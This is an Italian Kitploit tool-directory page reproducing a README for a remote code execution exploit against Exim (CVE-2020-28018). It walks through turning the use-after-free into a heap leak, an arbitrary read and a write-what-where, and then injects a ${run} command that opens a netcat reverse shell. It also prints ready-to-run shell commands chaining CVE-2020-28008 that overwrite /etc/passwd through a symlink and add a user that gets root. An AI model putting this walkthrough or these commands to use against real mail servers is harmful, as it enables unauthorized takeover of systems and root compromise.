Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2020-28018 — Exploit per la Use-After-Free di Exim (CVE-2020-28018) che consente l'esecuzione remota di codice tramite primitive di corruzione della memoria, incluse lettura/scrittura arbitraria e leak dell'heap, con una catena opzionale di escalation dei privilegi locali. | Kitploit
Strumenti/GitHubGitHub/dorkerdevil/cve-2020-28018
Escalation di PrivilegiMemory ForensicsAnalisi delle VulnerabilitàExploitStrumento di Accesso RemotoSviluppo PayloadBinary Exploitation
GitHubdorkerdevil/cve-2020-28018

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2020-28018

Exploit per la Use-After-Free di Exim (CVE-2020-28018) che consente l'esecuzione remota di codice tramite primitive di corruzione della memoria, incluse lettura/scrittura arbitraria e leak dell'heap, con una catena opzionale di escalation dei privilegi locali.

Vedi Repository
7125 anni faNon ancora revisionato

CVE-2020-28018: Use-after-free (UAF) in Exim che porta a RCE

Introduzione

Esiste una vulnerabilità Use-after-free (UAF) in tls-openssl.c che consente a un attaccante remoto non autenticato di corrompere i dati interni della memoria, portando infine all'esecuzione di codice remoto.

Primitive:

  • Perdita di memoria
  • Primitiva di lettura arbitraria
  • Primitiva di scrittura ovunque (Write-What-Where)

Utilizzando tutte queste primitive concatenate, è possibile bypassare completamente tutte le mitigazioni disponibili per gli exploit, ottenendo infine l'esecuzione di codice remoto come utente exim.

Questa vulnerabilità è stata rilasciata tra un'enorme lista di vulnerabilità; il rapporto ufficiale di Qualys concatena la Use-After-Free con CVE-2020-28008 per effettuare un escalation di privilegi locale (LPE) una volta ottenuta la RCE.

Prerequisiti

Exim deve essere configurato/compilato nel seguente modo:

  • TLS abilitato
  • OpenSSL utilizzato (invece di GnuTLS)
  • Exim è una delle versioni vulnerabili
  • X_PIPE_CONNECT disabilitato

Puoi usare lo script checker.py per verificare se un server remoto è in una versione vulnerabile e possiede alcuni requisiti necessari per essere sfruttabile.

[!] checker.py NON attiva la vulnerabilità, controlla solo la versione vulnerabile, verifica se PIPELINING e TLS sono abilitati. Questo significa che il checker non controlla la patch, quindi può generare falsi positivi.

Codice vulnerabile

Come già sappiamo, la vulnerabilità si trova in tls-openssl.c.

root@kitploit:~
/*************************************************
*         Write bytes down TLS channel           *
*************************************************/

/*
Arguments:
  ct_ctx    client context pointer, or NULL for the one global server context
  buff      buffer of data
  len       number of bytes
  more	    further data expected soon

Returns:    the number of bytes after a successful write,
            -1 after a failed write

Used by both server-side and client-side TLS.
*/

int
tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
{
int outbytes, error, left;
SSL * ssl = ct_ctx ? ((exim_openssl_client_tls_ctx *)ct_ctx)->ssl : server_ssl;
static gstring * corked = NULL;

DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__,
  buff, (unsigned long)len, more ? ", more" : "");

/* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when
"more" is notified.  This hack is only ok if small amounts are involved AND only
one stream does it, in one context (i.e. no store reset).  Currently it is used
for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */
/*XXX + if PIPE_COMMAND, banner & ehlo-resp for smmtp-on-connect. Suspect there's
a store reset there. */

if (!ct_ctx && (more || corked))
  {
#ifdef EXPERIMENTAL_PIPE_CONNECT
  int save_pool = store_pool;
  store_pool = POOL_PERM;
#endif

  corked = string_catn(corked, buff, len);

#ifdef EXPERIMENTAL_PIPE_CONNECT
  store_pool = save_pool;
#endif

  if (more)
    return len;
  buff = CUS corked->s;
  len = corked->ptr;
  corked = NULL;
  }

for (left = len; left > 0;)
  {
  DEBUG(D_tls) debug_printf("SSL_write(%p, %p, %d)\n", ssl, buff, left);
  outbytes = SSL_write(ssl, CS buff, left);
  error = SSL_get_error(ssl, outbytes);
  DEBUG(D_tls) debug_printf("outbytes=%d error=%d\n", outbytes, error);
  switch (error)
    {
    case SSL_ERROR_SSL:
      ERR_error_string_n(ERR_get_error(), ssl_errstring, sizeof(ssl_errstring));
      log_write(0, LOG_MAIN, "TLS error (SSL_write): %s", ssl_errstring);
      return -1;

    case SSL_ERROR_NONE:
      left -= outbytes;
      buff += outbytes;
      break;

    case SSL_ERROR_ZERO_RETURN:
      log_write(0, LOG_MAIN, "SSL channel closed on write");
      return -1;

    case SSL_ERROR_SYSCALL:
      log_write(0, LOG_MAIN, "SSL_write: (from %s) syscall: %s",
	sender_fullhost ? sender_fullhost : US"<unknown>",
	strerror(errno));
      return -1;

    default:
      log_write(0, LOG_MAIN, "SSL_write error %d", error);
      return -1;
    }
  }
return len;
}

smtp_setup_msg() è la funzione principale che esegue la lettura del messaggio dal client.

In situazioni specifiche, viene chiamata smtp_reset(), che esegue una pulizia di tutti i buffer e i valori.

Ciò può accadere in situazioni come:

  • Viene ricevuto HELO/EHLO
  • Viene ricevuto STARTTLS
  • Viene ricevuto RSET
  • All'inizio di smtp_setup_msg()

Alla fine di smtp_reset(), viene eseguita una chiamata a store_reset().

store_reset è una macro che avvolge la funzione store_reset_3().

Le funzioni di store sono solo funzioni che gestiscono la memoria dinamica.

Exim utilizza un allocatore a pool su blocchi ricevuti da malloc.

C'è anche una funzionalità interessante che è un'implementazione di stringhe espandibili.

Struttura gstring:

root@kitploit:~
typedef struct gstring {
  int   size;           /* Current capacity of string memory */
  int   ptr;            /* Offset at which to append further chars */
  uschar * s;           /* The string memory */
} gstring;

Quando serve più spazio per concatenare una nuova stringa, chiama gstring_grow().

Quella funzione prima prova a chiamare store_extend_3(), che tenta di estendere la memoria all'interno dello stesso blocco del pool.

Può essere utile quando la lunghezza dell'input non è nota, ma se dopo di esso è stata allocata altra memoria, non saremo in grado di estenderlo.

Poi gstring_grow() chiama store_newblock_3() che restituisce una nuova memoria e copia i byte già presenti in quella vecchia nella nuova.

Quindi il puntatore g->s viene ripristinato da gstring_catn().

Nella funzione tls_write(), possiamo vedere che c'è un BOOL chiamato more.

Indica se ci sono altri dati da copiare nel buffer della stringa prima di restituire i dati all'utente.

Se è così, il puntatore non viene azzerato.

Altrimenti, i dati contenuti nel buffer della stringa vengono restituiti all'utente.

Questa funzionalità apre alcuni modi interessanti per attivare una Use-After-Free.

Innanzitutto, il puntatore alla struttura gstring è memorizzato in una variabile statica, questo significa che nelle future chiamate a tls_write() saremo in grado di usarlo.

Come possiamo liberare il buffer e poi essere in grado di usarlo?

Dobbiamo fare in modo che smtp_setup_msg() chiami smtp_reset() dopo che uno dei nostri buffer è ancora in server_corked (non azzerato).

Dopo il reset, se chiamiamo tls_write() in qualche modo, il puntatore sarà ancora lì, permettendoci di usarlo dopo che la memoria è stata liberata.

smtp_reset() libera tutta la memoria di POOL_MAIN, in cui è contenuto il nostro buffer.

Attivazione della Use-After-Free

Per controllare la Use-After-Free dobbiamo prima inizializzare una nuova connessione.

Poiché vogliamo sfruttare tls_write(), dobbiamo prima avviare una nuova sessione TLS.

Quindi per prima cosa inviamo un comando EHLO, seguito da STARTTLS per avviare la connessione TLS.

Poi per fare in modo che more sia 1, inviamo in pipeline un comando, e l'ultimo sarà la metà di un NOOP.

Chiudiamo la connessione TLS e inviamo il resto del comando NOOP.

Ora inviamo di nuovo EHLO, che farà chiamare smtp_reset e libererà il nostro buffer.

Ora dobbiamo avviare un'altra connessione TLS per poter usare di nuovo tls_write().

Inviamo STARTTLS.

Ora l'invio di qualsiasi comando al server finirà per chiamare tls_write() per restituire una risposta.

Ma... server_corked contiene ancora un puntatore a qualche punto nella memoria liberata.

E quei dati potrebbero essere usati da altre funzioni mentre sono liberati...quindi la nostra struttura gstring verrà corrotta con dati binari casuali.

Questo è il risultato dell'attivazione della UAF:

root@kitploit:~
gef➤  p *corked
$1 = {
  size = 0x54595c9c, 
  ptr = 0xa7e800ba, 
  s = 0x7e35043433160bd3 <error: Cannot access memory at address 0x7e35043433160bd3>
}
gef➤  p corked
$2 = (gstring *) 0x555ad3be1b58
gef➤  

Questa struttura è così proprio quando si entra in tls_write() per il nostro comando successivo a STARTTLS.

Ovviamente, quando si tenta di accedere a corked->s si verifica un'interruzione SIGSEGV.

Sfruttamento

Come menzionato da Qualys, usano tre passaggi per sfruttare la vulnerabilità:

  1. Poiché la memoria è già libera, possiamo fare in modo che Exim scriva puntatori all'heap da strutture come header_line nel nostro buffer, così quando tls_write() viene chiamato, saranno restituiti all'utente. In questo modo otteniamo una perdita di memoria per continuare lo sfruttamento.
  2. Una volta noti gli indirizzi di memoria dell'heap, possiamo creare una primitiva di lettura arbitraria per iniziare a leggere l'heap fino a trovare la configurazione di Exim.
  3. Infine, l'ultimo passaggio è creare una primitiva di scrittura ovunque. In questo modo saremmo in grado di iniettare una configurazione personalizzata nel buffer trovato al passaggio 2. Possiamo iniettare ${run{<comando>}}, dove <comando> è qualsiasi comando che l'attaccante vuole eseguire, come una reverse shell usando netcat. Questa configurazione sarà interpretata da string_expand() e finirà per eseguire il comando.

Controllo della condizione Use-After-Free

Bene, siamo riusciti ad attivare la Use-After-Free.

Ora dobbiamo prendere un buon controllo sulla UAF in modo da poter creare le nostre primitive con successo e affidabilità.

Sfortunatamente, dopo che i buffer di POOL_MAIN sono stati liberati, il nostro blocco verrà passato direttamente a free().

Questo significa che la memoria non sarà solo accessibile tramite store_get_3() o store_newblock_3() ma da qualsiasi funzione che usa malloc()... come CRYPTO_zalloc() e molte altre.

In questo caso, da qualche parte in tls_server_start(), viene richiesta memoria tramite malloc().

Poi vi copia alcuni dati binari, corrompendo la nostra struttura gstring.

Dobbiamo un modo per evitare ciò, in modo da poter raggiungere tls_write() con una struttura gstring sana che punti a un indirizzo di memoria valido, altrimenti si verificherà un'interruzione SIGSEGV.

Dopo aver capito come funziona l'allocatore a pool di Exim, facendo debug e provando alcuni comandi per vedere il loro comportamento sul lato heap, possiamo finalmente evitare che questi dati vengano scritti nella nostra struttura gstring.

Perdita di memoria

Una volta attivata con successo la Use-After-Free e senza problemi di corruzione della struttura, dobbiamo cercare di spostare l'heap in modo che una funzione scriva un indirizzo dell'heap nel mezzo della nostra stringa (qualsiasi posizione prima di g->ptr).

Siamo fortunati perché le risposte, nonostante siano testo semplice (non un protocollo binario), ci consentono di inviare byte NULL al client.

Perché succede?

Le risposte vengono inviate con SSL_write(), nessun problema con i byte NULL.

E le stringhe? string_catn() non taglia i byte NULL. Perché usa memcpy per copiare i dati.

L'unico modo per impostare un limite è attraverso g->ptr, ma... poiché l'indirizzo viene scritto prima dell'indice g->ptr, tutti i dati fino a quel punto vengono restituiti, causando così la perdita di preziosi indirizzi dell'heap.

Risultato della perdita di memoria con il PoC:

Perdita di memoria

Lettura arbitraria

Ora, abbiamo scoperto la base dell'heap....

E... gli indirizzi non cambiano tra le connessioni... quindi possiamo iniziare ora la strada verso la RCE

Ma... come sovrascriviamo la struttura gstring?

Si è rivelato abbastanza semplice usando la tecnica di Qualys.

ESMTP ha aggiunto alcune cose al protocollo SMTP, come i parametri per i comandi MAIL FROM.

Usare un parametro grande dopo l'ultimo STARTTLS è sufficiente per sovrascrivere la struttura :)

root@kitploit:~
gef➤  p *corked
$1 = {
  size = 0x42424242, 
  ptr = 0x42424242, 
  s = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>
}

Pieno controllo sulla struttura gstring.

Ora è il momento di creare la nostra primitiva di lettura arbitraria.

Apparentemente sembra facile... sovrascrivere g->size e g->ptr con un valore grande.

Poi sovrascrivere g->s con l'indirizzo di memoria da cui vogliamo leggere.

Una volta terminato il comando, tls_write() verrà chiamato per restituire i dati all'utente.

Poiché il puntatore del buffer della stringa è corrotto e punta a una posizione arbitraria dell'attaccante, i dati di quella posizione verranno restituiti.

Potremmo ora implementare una funzione che itera sui blocchi leggendo e cercando parole chiave che ci dicano se il blocco è quello che contiene la configurazione di Exim; se è così, passeremo poi all'ultimo passaggio.

La funzione che ho implementato itera ogni lunghezza READ_SZ lungo l'heap a partire dalla base dell'heap.

root@kitploit:~
	[+] Indirizzo heap filtrato = 0x55c846683d90
	[+] heap_base = 0x55c8465f4000

[*] Ricerca della configurazione di Exim in memoria...

[+] Config trovata a: 0x55c8465f6328

Una volta trovato qualcosa, si passa all'ultimo passaggio.

Scrittura ovunque (Write-What-Where)

Bene! Conosciamo l'indirizzo base dell'heap. E più interessante... sappiamo dove si trova la configurazione di Exim!

Ora è il momento di ottenere la RCE :P

Ora dobbiamo (in qualche modo) sovrascrivere la configurazione di exim e iniettare ${run{<comando>}}. Così, quando string_expand() viene eseguito, il nostro comando viene interpretato e infine otteniamo l'esecuzione arbitraria di comandi.

Il modo più semplice per ottenere la RCE è usare netcat, quindi usando nc nel comando otterremmo una shell.

Ma... come possiamo creare una tale primitiva di scrittura ovunque?

Dobbiamo prima sovrascrivere (come abbiamo fatto con la primitiva di lettura arbitraria) la struttura gstring.

Una volta ottenuto il controllo, possiamo prima puntare g->s al posto in cui vogliamo scrivere, in questo caso l'indirizzo della configurazione di Exim.

Poi nella risposta successiva da scrivere nel buffer, la risposta verrà scritta dove punta g->s :)

Ma... come possiamo corrompere la struttura gstring e ottenere una risposta arbitraria allo stesso tempo?

Qualys non ha lasciato molto chiaro questo punto nell'avviso.

Dobbiamo fare in modo che un comando "MAIL FROM" restituisca dati arbitrari.

Dopo alcuni tentativi, ho pensato che la soluzione migliore sia con un messaggio di errore.

Possiamo scegliere ADDR - strlen("501 ").

Quindi quei quattro byte non corrompono il nostro bersaglio.

Come possiamo far fallire MAIL FROM? Uso un mittente errato, poiché il mittente richiede un dominio, se non viene specificato un dominio il messaggio di errore conterrà i dati inviati dal client

Ma c'è un problema. Poiché stiamo inviando NULL, viene restituito invece questo messaggio: "501 NUL characters are not allowed in SMTP commands".

Quindi ancora nessun modo per controllare l'output, poiché abbiamo bisogno di NULL nella richiesta.

Non possiamo inviare un altro "MAIL FROM" per corrompere le risposte per il semplice motivo che una volta attivata la UAF, more=0 e nessun accesso al buffer liberato.

Ma da handle_smtp_call(), se inviamo DATA, receive_msg(). Possiamo ingannarlo in modo che non ripristini il pool corrente così possiamo preparare l'heap un po' per sovrascrivere il buffer liberato.

Una volta sovrascritto, inviamo un MAIL FROM con dati non validi in pipeline con uno valido. La risposta verrà scritta nel puntatore s.

Esecuzione di codice remoto

Una volta ottenuta la scrittura ovunque, ho avuto problemi con netcat direttamente perché erano necessari alcuni requisiti per il numero di argomenti. Quindi ho fatto: /bin/sh -c '<comando nc qui>'.

Ho sovrascritto l'ACL MAIL FROM in modo che l'invio in pipeline di un secondo MAIL FROM finisca per chiamare expand_cstring() ed eseguire infine il mio comando arbitrario.

Questo è uno screenshot una volta ottenuta una shell con l'exploit:

RCE_CAP

Concatenamento con CVE-2020-28008 LPE

root@kitploit:~
$ /bin/bash
$ cd /var/spool/exim4/db
$ rm -f retry*
$ ln -s -f /etc/passwd retry.passwd
$ /usr/sbin/exim4 -odf -oep postmaster < /dev/null
$ # creds => pwner:pwner
$ echo 'pwner:$6$4KB5snZ5jevx6TFa$VNdvb49sUfHhAQeKCkbpGVDnHUbnNfbpFh.QVjwIqvGlYsyKp8yoYrAfNDcG0XdtoQ2vT9LQPLml6XmCaVCOX/:18757:0:99999:7:::' >> /etc/passwd
$ su -l pwner
 * Enter pass: pwner *
# id
uid=0(root) gid=0(root) groups=0(root)
#

Informazioni sul sistema

I test sono stati eseguiti su un debian:

root@kitploit:~
root@research:~# lsb_release -a
No LSB modules are available.
Distributor ID:	Debian
Description:	Debian GNU/Linux 10 (buster)
Release:	10
Codename:	buster

Con versione exim:

root@kitploit:~
root@research:~# exim --version
Exim version 4.92 #7 built 06-May-2021 19:31:44
Copyright (c) University of Cambridge, 1995 - 2018
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2018
Berkeley DB: Berkeley DB 5.3.28: (September  9, 2013)
Support for: crypteq iconv() OpenSSL DANE DKIM DNSSEC Event OCSP PRDR TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb passwd
Authenticators: cram_md5 plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file is /var/lib/exim4/config.autogenerated

La mia versione di Exim è compilata da me, ma replicando i flag di compilazione utilizzati nella versione principale su debian.

La configurazione è la stessa di quella predefinita di debian più alcune modifiche minori forse.

Impostazione dell'ambiente

In questo repository, c'è una directory chiamata exim-4.92. È il codice sorgente di exim.

Prima installa exim con il gestore di pacchetti apt.

Scarica la directory exim e la directory config nella macchina.

Prima copia config/Makefile in exim-4.92/Local.

Poi copia config/eximon.conf in exim-4.92/Local.

Ora eseguiamo make, verrà creata una directory build-linux-*, ci sposteremo al suo interno e sostituiremo tutte le occorrenze di "-O2" con "-O0".

Faremo lo stesso nella directory OS/. Infine, nella build-linux-* aggiungiamo alla variabile CFLAGS il -g.

Consigliato aggiungere il sorgente di libc e exim a gdb.

Ora make e make install.

cp /usr/exim/bin/* /usr/sbin/

cp /usr/sbin/exim /usr/sbin/exim4

Ho usato questo script per generare i certificati: https://github.com/volumio/RootFS/blob/master/usr/share/doc/exim4-base/examples/exim-gencert

Infine abilita TLS nella configurazione di exim4 in /etc/exim4 e usa i file /etc/exim4/exim.crt e /etc/exim4/exim.key generati dallo script bash.

Infine: sudo update-exim4.conf && systemctl restart exim4

Controlla systemctl status exim4 per vedere se tutto è a posto.

Se ottieni un messaggio di errore 'TLS not currently available' dopo aver provato STARTTLS, controlla i log di exim4.

Ho affrontato un problema perché la chiave che ho usato per i certificati era troppo corta. Quindi modifica i bit della chiave nello script gencert menzionato in precedenza (io uso 4096).

Ulteriori informazioni

Per maggiori informazioni visita il advisory ufficiale di Qualys

Scarica lo strumento